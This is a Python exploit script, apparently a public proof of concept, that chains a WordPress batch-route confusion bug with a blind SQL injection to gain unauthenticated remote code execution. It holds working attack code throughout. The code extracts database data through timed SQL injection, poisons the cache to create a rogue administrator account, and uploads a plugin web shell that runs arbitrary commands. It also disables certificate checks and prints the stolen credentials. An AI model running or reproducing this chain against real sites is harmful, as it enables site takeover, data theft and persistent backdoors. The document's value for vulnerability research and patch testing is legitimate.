#!/usr/bin/env python3
"""
wp2shell — Pre-Authentication Remote Code Execution
CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)

Affects: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1
Fixed:   WordPress 6.9.5, 7.0.2

Chain:
  1. Nested batch desync → unauthenticated blind SQL injection
  2. UNION SELECT injects fake post with [embed] shortcode
     → WordPress creates real oembed_cache posts (write primitive)
  3. Blind SQLi extracts cache post IDs + admin user ID
  4. Second UNION SELECT poisons in-memory object cache:
     - customize_changeset with user_id=admin → wp_set_current_user(admin)
     - post_type='request' → triggers parse_request re-entrancy
  5. Re-entered serve_request() runs with admin privileges
     → POST /wp/v2/users creates new administrator
  6. Login as new admin → deploy plugin webshell → RCE

Preconditions:
  - No persistent object cache (default - no Redis/Memcached)
  - WordPress 6.9+ (oEmbed + Customizer + batch combination)

Usage:
  python3 exploit.py TARGET_URL                    # Check vulnerability
  python3 exploit.py TARGET_URL 'SELECT VERSION()' # Extract DB data
  python3 exploit.py TARGET_URL -c "id"            # Execute command (full RCE)

For authorized security testing only.
"""

import base64
import hashlib
import html
import io
import json
import re
import secrets
import statistics
import sys
import time
import urllib.parse
import urllib.request
import uuid
import zipfile
from http.cookiejar import CookieJar

# ─── Argument parsing ────────────────────────────────────────────────────────

if (
    len(sys.argv) not in (2, 3, 4)
    or (len(sys.argv) == 4 and sys.argv[2] != "-c")
    or (len(sys.argv) == 3 and sys.argv[2] == "-c")
):
    print(__doc__)
    raise SystemExit(f"usage: {sys.argv[0]} TARGET_URL [\"SELECT ...\" | -c COMMAND]")

base_url = sys.argv[1].rstrip("/")
if not base_url.startswith(("http://", "https://")):
    base_url = f"https://{base_url}"
batch_url = f"{base_url}/?rest_route=/batch/v1"

# ─── Core batch transport ────────────────────────────────────────────────────


import ssl

_ctx = ssl.create_default_context()
_ctx.check_hostname = False
_ctx.verify_mode = ssl.CERT_NONE


def send_batch(requests, timeout=30):
    """Send a nested batch payload exploiting the double-desync technique.

    Outer batch:
      [0] malformed path → WP_Error (desync trigger)
      [1] POST /wp/v2/posts carrying inner batch → gets /batch/v1 handler (no permission!)
      [2] POST /batch/v1 → provides the batch handler for [1] to steal

    The inner `requests` list is processed as a nested batch with full
    method freedom (GET allowed) and its own desync opportunity.
    """
    request = urllib.request.Request(
        batch_url,
        data=json.dumps(
            {
                "requests": [
                    {"method": "POST", "path": "http://:"},
                    {
                        "method": "POST",
                        "path": "/wp/v2/posts",
                        "body": {"requests": requests},
                    },
                    {"method": "POST", "path": "/batch/v1"},
                ]
            }
        ).encode(),
        headers={"Content-Type": "application/json", "User-Agent": "Mozilla/5.0"},
        method="POST",
    )
    try:
        with urllib.request.urlopen(request, timeout=timeout, context=_ctx) as response:
            return response.read()
    except urllib.error.HTTPError as e:
        if e.code == 403:
            raise SystemExit(
                f"[-] 403 Forbidden — batch endpoint blocked.\n"
                f"    The target may have a WAF, Cloudflare, or the batch endpoint is disabled.\n"
                f"    Try: {base_url}/wp-json/batch/v1 (pretty permalinks)"
            )
        if e.code == 404:
            raise SystemExit(
                f"[-] 404 Not Found — REST API not reachable at {batch_url}\n"
                f"    Check the URL and try with/without trailing slash."
            )
        body = e.read().decode("utf-8", "replace")[:200]
        raise SystemExit(f"[-] HTTP {e.code}: {e.reason}\n    {body}")
    except urllib.error.URLError as e:
        raise SystemExit(f"[-] Connection failed: {e.reason}\n    Target: {batch_url}")
    except TimeoutError:
        raise SystemExit(f"[-] Connection timed out after {timeout}s\n    Target: {batch_url}")


# ─── Blind SQL injection oracle ──────────────────────────────────────────────

sleep_delay = 0.4


def probetime(condition):
    """Measure response time with conditional SLEEP injection.

    Inner batch desync:
      [0] malformed → desync
      [1] GET /categories?author_exclude=IF(cond,SLEEP,0) → validated by categories schema
      [2] GET /posts → provides posts handler (public, processes author_exclude → WP_Query)
    """
    started = time.perf_counter()
    try:
        send_batch(
            [
                {"method": "GET", "path": "http://:"},
                {
                    "method": "GET",
                    "path": "/wp/v2/categories?"
                    + urllib.parse.urlencode(
                        {
                            "author_exclude": f"SELECT IF(({condition}),SLEEP({sleep_delay}),0)"
                        }
                    ),
                },
                {"method": "GET", "path": "/wp/v2/posts"},
            ],
            max(10, sleep_delay + 8),
        )
    except SystemExit:
        raise
    except Exception:
        pass
    return time.perf_counter() - started


# ─── Calibration ─────────────────────────────────────────────────────────────

for _ in range(3):
    fast_samples = [probetime("1=0") for _ in range(5)]
    slow_samples = [probetime("1=1") for _ in range(3)]
    fast = statistics.median(fast_samples)
    slow = statistics.median(slow_samples)
    jitter = statistics.median(abs(sample - fast) for sample in fast_samples)
    if slow - fast > max(0.06, jitter * 8):
        break
    sleep_delay *= 2
else:
    raise SystemExit("[-] not vulnerable")

threshold = (fast + slow) / 2
retry_band = max(0.02, jitter * 3)

if len(sys.argv) == 2:
    print(f"[+] vulnerable: {fast:.3f}s/{slow:.3f}s")
    raise SystemExit(0)


# ─── Boolean oracle ──────────────────────────────────────────────────────────


def iscondtrue(condition):
    elapsed = probetime(condition)
    if abs(elapsed - threshold) > retry_band:
        return elapsed > threshold
    return (
        statistics.median([elapsed, probetime(condition), probetime(condition)])
        > threshold
    )


# ─── Data extraction ─────────────────────────────────────────────────────────


def getscalar(query, max_length=128):
    """Extract a string value via binary-search blind SQLi."""
    expression = f"COALESCE(({query}),'')"
    lower, upper = 0, max_length

    while lower < upper:
        middle = (lower + upper + 1) // 2
        if iscondtrue(f"CHAR_LENGTH({expression}) >= {middle}"):
            lower = middle
        else:
            upper = middle - 1

    result = ""
    for position in range(1, lower + 1):
        lower_byte, upper_byte = 32, 126
        while lower_byte < upper_byte:
            middle = (lower_byte + upper_byte + 1) // 2
            if iscondtrue(
                f"ASCII(SUBSTRING({expression},{position},1)) >= {middle}"
            ):
                lower_byte = middle
            else:
                upper_byte = middle - 1
        result += chr(lower_byte)
        sys.stdout.write(f"\r    {result}")
        sys.stdout.flush()

    if result:
        print()
    return result


def getint(query):
    """Extract an integer value via binary-search blind SQLi."""
    expression = f"COALESCE(({query}),0)"
    lower, upper = 0, 1

    while iscondtrue(f"{expression} >= {upper}"):
        lower, upper = upper, upper * 2

    while lower < upper:
        middle = (lower + upper + 1) // 2
        if iscondtrue(f"{expression} >= {middle}"):
            lower = middle
        else:
            upper = middle - 1

    return lower


# ─── Scalar query mode ───────────────────────────────────────────────────────

if sys.argv[2] != "-c":
    print(getscalar(sys.argv[2], 64))
    raise SystemExit(0)

# ─── Full RCE chain ─────────────────────────────────────────────────────────


def sql_hex(value):
    return f"0x{value.encode().hex()}" if value else "''"


def post_row(post_id, content, title, status, name, parent, post_type):
    """Build a 23-column UNION SELECT row matching wp_posts schema."""
    return ",".join(
        (
            str(post_id),
            "1",
            sql_hex("2020-01-01 00:00:00"),
            sql_hex("2020-01-01 00:00:00"),
            sql_hex(content),
            sql_hex(title),
            "''",
            sql_hex(status),
            sql_hex("closed"),
            sql_hex("closed"),
            "''",
            sql_hex(name),
            "''",
            "''",
            sql_hex("2020-01-01 00:00:00"),
            sql_hex("2020-01-01 00:00:00"),
            "''",
            str(parent),
            "''",
            "0",
            sql_hex(post_type),
            "''",
            "0",
        )
    )


# ─── Phase 1: Seed oEmbed cache posts ────────────────────────────────────────

print("[*] Phase 1: Seeding oEmbed cache (write primitive)...")

try:
    req = urllib.request.Request(
        f"{base_url}/?rest_route=/wp/v2/posts&per_page=1&_fields=link",
        headers={"User-Agent": "Mozilla/5.0"},
    )
    with urllib.request.urlopen(req, timeout=15, context=_ctx) as response:
        published_items = json.loads(response.read())
except urllib.error.HTTPError as e:
    raise SystemExit(f"[-] Cannot fetch posts: HTTP {e.code}\n    Is {base_url} a WordPress site?")
except (urllib.error.URLError, TimeoutError) as e:
    raise SystemExit(f"[-] Cannot reach target: {e}\n    Check URL: {base_url}")

if not published_items or not published_items[0].get("link"):
    raise SystemExit("[-] no published posts found")

token = secrets.token_hex(6)
public_post = urllib.parse.urlsplit(published_items[0]["link"])
embed_urls = [
    urllib.parse.urlunsplit(
        (
            public_post.scheme,
            public_post.netloc,
            public_post.path,
            public_post.query,
            f"{token}{index}",
        )
    )
    for index in range(3)
]

seed_content = "".join(
    f'[embed width="500" height="750"]{embed_url}[/embed]' for embed_url in embed_urls
)
seed_query = (
    "1) AND 1=0 UNION ALL SELECT "
    + post_row(0, seed_content, "seed", "publish", "seed", 0, "post")
    + " -- -"
)
send_batch(
    [
        {"method": "GET", "path": "http://:"},
        {
            "method": "GET",
            "path": "/wp/v2/widgets?"
            + urllib.parse.urlencode(
                {
                    "author_exclude": seed_query,
                    "per_page": -1,
                    "orderby": "none",
                    "context": "view",
                }
            ),
        },
        {"method": "GET", "path": "/wp/v2/posts"},
    ],
    60,
)

# ─── Phase 2: Extract table prefix + cache IDs ───────────────────────────────

print("[*] Phase 2: Extracting metadata via blind SQLi...")

posts_table = getscalar(
    "SELECT TABLE_NAME "
    "FROM INFORMATION_SCHEMA.TABLES "
    "WHERE TABLE_SCHEMA=DATABASE() "
    "AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
    "ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1",
    64,
)
if not re.fullmatch(r"[A-Za-z0-9_$]+", posts_table):
    raise SystemExit("[-] table extraction failed")

table_prefix = posts_table[:-5]
print(f"    prefix: {table_prefix}")

admin_id = getint(
    f"SELECT u.ID FROM `{table_prefix}users` u "
    f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID "
    f"WHERE m.meta_key={sql_hex(table_prefix + 'capabilities')} "
    "AND INSTR(m.meta_value,"
    + sql_hex('s:13:"administrator";b:1;')
    + ")>0 "
    "ORDER BY u.ID LIMIT 1"
)
if admin_id < 1:
    raise SystemExit("[-] admin user not found")
print(f"    admin ID: {admin_id}")

embedsize = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
cache_post_ids = []

for embed_url in embed_urls:
    cache_key = hashlib.md5((embed_url + embedsize).encode()).hexdigest()
    cache_post_id = getint(
        f"SELECT ID FROM `{posts_table}` "
        "WHERE post_type=0x6f656d6265645f6361636865 "
        f"AND post_name=0x{cache_key.encode().hex()} "
        "ORDER BY ID DESC LIMIT 1",
    )
    if cache_post_id < 1:
        raise SystemExit("[-] oEmbed cache post not found")
    cache_post_ids.append(cache_post_id)

if len(set(cache_post_ids)) != 3:
    raise SystemExit("[-] oEmbed cache IDs not unique")
print(f"    cache IDs: {cache_post_ids}")

# ─── Phase 3: Craft escalation payload ───────────────────────────────────────

print("[*] Phase 3: Privilege escalation via Customizer changeset...")

username = f"w2s_{token}"
password = f"W2s!{secrets.token_urlsafe(15)}"
email = f"{username}@wp2shell.invalid"
outer_loop_id = 1800000000 + secrets.randbelow(100000000)
nav_item_id = outer_loop_id + 1
inner_loop_id = outer_loop_id + 2

changeset = json.dumps(
    {
        f"nav_menu_item[{nav_item_id}]": {
            "value": {
                "object_id": 0,
                "object": "",
                "menu_item_parent": 0,
                "position": 0,
                "type": "custom",
                "title": "wp2shell",
                "url": "https://github.com/sergiointel/wp2shell-poc",
                "target": "",
                "attr_title": "",
                "description": "",
                "classes": "",
                "xfn": "",
                "status": "publish",
                "nav_menu_term_id": 0,
                "_invalid": False,
            },
            "type": "nav_menu_item",
            "user_id": admin_id,
        }
    },
    separators=(",", ":"),
)

poisoned_posts = (
    post_row(0, f'[embed width="500" height="750"]{embed_urls[1]}[/embed]', "trigger", "publish", "trigger", 0, "post"),
    post_row(cache_post_ids[0], changeset, "changeset", "future", str(uuid.uuid4()), outer_loop_id, "customize_changeset"),
    post_row(outer_loop_id, "outer", "outer", "draft", "outer", cache_post_ids[0], "post"),
    post_row(cache_post_ids[1], "", "cache", "publish", "cache", cache_post_ids[0], "post"),
    post_row(nav_item_id, "nav", "nav", "publish", "nav", cache_post_ids[2], "nav_menu_item"),
    post_row(cache_post_ids[2], "parse", "parse", "parse", "parse", inner_loop_id, "request"),
    post_row(inner_loop_id, "inner", "inner", "draft", "inner", cache_post_ids[2], "post"),
)
escalation_query = (
    "1) AND 1=0 UNION ALL SELECT "
    + " UNION ALL SELECT ".join(poisoned_posts)
    + " -- -"
)
new_admin = {
    "username": username,
    "email": email,
    "password": password,
    "roles": ["administrator"],
}

send_batch(
    [
        {"method": "GET", "path": "http://:"},
        {
            "method": "GET",
            "path": "/wp/v2/widgets?"
            + urllib.parse.urlencode(
                {
                    "author_exclude": escalation_query,
                    "per_page": -1,
                    "orderby": "none",
                    "context": "view",
                }
            ),
        },
        {"method": "GET", "path": "/wp/v2/posts"},
        {"method": "POST", "path": "/wp/v2/users", "body": new_admin},
        {"method": "POST", "path": "/wp/v2/users", "body": new_admin},
    ],
    60,
)

# ─── Phase 4: Authenticate + deploy webshell ─────────────────────────────────

print("[*] Phase 4: Deploying webshell...")

session = urllib.request.build_opener(
    urllib.request.HTTPCookieProcessor(CookieJar()),
    urllib.request.HTTPSHandler(context=_ctx),
)
session.addheaders = [("User-Agent", "Mozilla/5.0")]

try:
    session.open(f"{base_url}/wp-login.php", timeout=15).read()
except Exception as e:
    raise SystemExit(f"[-] Cannot reach login page: {e}")
login_request = urllib.request.Request(
    f"{base_url}/wp-login.php",
    data=urllib.parse.urlencode(
        {
            "log": username,
            "pwd": password,
            "wp-submit": "Log In",
            "redirect_to": f"{base_url}/wp-admin/",
            "testcookie": "1",
        }
    ).encode(),
    method="POST",
)
session.open(login_request, timeout=30).read()

with session.open(f"{base_url}/wp-admin/users.php", timeout=30) as response:
    users_page = response.read().decode(errors="replace")

if username not in users_page:
    raise SystemExit("[-] admin user creation failed")

plugin_slug = f"wp2shell-{token}"
command_route = secrets.token_hex(12)
command_marker = secrets.token_hex(12)
plugin_source = f"""<?php
/* Plugin Name: {plugin_slug} */
add_action('rest_api_init', function () {{
    register_rest_route('wp2shell/v1', '/{command_route}', array(
        'methods' => 'POST',
        'permission_callback' => '__return_true',
        'callback' => function ($request) {{
            ob_start();
            passthru(base64_decode($request->get_param('c')) . ' 2>&1');
            $output = ob_get_clean();
            return new WP_REST_Response(array(
                'marker' => '{command_marker}',
                'output' => $output,
            ));
        }},
    ));
}});
""".encode()

plugin_zip = io.BytesIO()
with zipfile.ZipFile(plugin_zip, "w", zipfile.ZIP_DEFLATED) as archive:
    archive.writestr(f"{plugin_slug}/{plugin_slug}.php", plugin_source)

with session.open(
    f"{base_url}/wp-admin/plugin-install.php?tab=upload", timeout=30
) as response:
    upload_page = response.read().decode(errors="replace")

nonce = re.search(r'name="_wpnonce" value="([^"]+)"', upload_page)
if not nonce:
    raise SystemExit("[-] plugin upload nonce not found")

boundary = f"----wp2shell{secrets.token_hex(12)}"
multipart = b"".join(
    (
        f"--{boundary}\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n{nonce.group(1)}\r\n".encode(),
        f"--{boundary}\r\nContent-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n/wp-admin/plugin-install.php?tab=upload\r\n".encode(),
        f"--{boundary}\r\nContent-Disposition: form-data; name=\"pluginzip\"; filename=\"{plugin_slug}.zip\"\r\nContent-Type: application/zip\r\n\r\n".encode(),
        plugin_zip.getvalue(),
        f"\r\n--{boundary}--\r\n".encode(),
    )
)
upload_request = urllib.request.Request(
    f"{base_url}/wp-admin/update.php?action=upload-plugin",
    data=multipart,
    headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
    method="POST",
)

with session.open(upload_request, timeout=60) as response:
    install_page = response.read().decode(errors="replace")

activation_link = re.search(
    r'href="([^"]*plugins\.php\?action=activate[^"]*)"', install_page
)
if not activation_link:
    raise SystemExit("[-] plugin activation link not found")

session.open(
    urllib.parse.urljoin(
        f"{base_url}/wp-admin/", html.unescape(activation_link.group(1))
    ),
    timeout=30,
).read()

print("[+] PERSISTENT WEBSHELL READY:")
print(f"    URL:   {base_url}/?rest_route=/wp2shell/v1/{command_route}")
print(f"    marker:{command_marker}")
print("    usage: curl -sk -X POST '<URL>' -H 'Content-Type: application/json' -d '{\"c\": \"<base64(CMD)>\"}'")
print()

# ─── Phase 5: Execute command ────────────────────────────────────────────────

print("[*] Phase 5: Executing command...")

command_request = urllib.request.Request(
    f"{base_url}/?rest_route=/wp2shell/v1/{command_route}",
    data=json.dumps({"c": base64.b64encode(sys.argv[3].encode()).decode()}).encode(),
    headers={"Content-Type": "application/json", "User-Agent": "Mozilla/5.0"},
    method="POST",
)
try:
    with urllib.request.urlopen(command_request, timeout=60, context=_ctx) as response:
        command_result = json.loads(response.read())
except Exception as e:
    raise SystemExit(
        f"[-] Command execution failed: {e}\n"
        f"    Admin created successfully: {username}:{password}\n"
        f"    Try manual login at {base_url}/wp-login.php"
    )

if command_result.get("marker") != command_marker:
    raise SystemExit(
        f"[-] Unexpected response from webshell.\n"
        f"    Admin created: {username}:{password}"
    )

print(f"[+] administrator: {username}:{password}")
print(command_result["output"], end="")